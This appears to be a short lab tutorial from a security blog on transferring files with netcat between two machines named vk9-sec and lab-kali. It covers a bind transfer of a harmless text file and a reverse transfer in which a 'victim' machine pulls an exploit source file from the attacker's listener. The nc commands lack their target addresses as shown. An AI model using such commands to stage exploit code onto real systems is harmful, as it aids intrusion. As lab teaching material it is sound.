This time we will transfer a file using netcat, we will see examples from machine vk9-sec to lab-kali

Bind connection

1. CLIENT: First, we will create a random file

  • echo “Vry4n has been here.” > sample.txt
  • cat sample.txt

2. SERVER: we will open a port in the remote machine waiting for a connection to come in, lab-kali machine

  • nc -lvp 4455 > sample.txt

3. CLIENT: We will start a connection from our local machine server to the remote machine, in this case vk9-sec to lab-kali machine

  • nc -w 3 4455 < sample.txt

4. SERVER: At the remote end, we will see the connection, and once, terminates the file shows as downloaded

  • ls -l
  • cat sample.txt

Reverse connection

1. You could do it the other way, from listening on attacker machine and have the server contact you for the file. Start a listener on Kali (vk9-sec)

  • nc -lvp 4455 < 26368.c

2. From the server (victim) reach our kali machine

  • nc 4455 > exploit.c
  • ls
  • cat exploit.c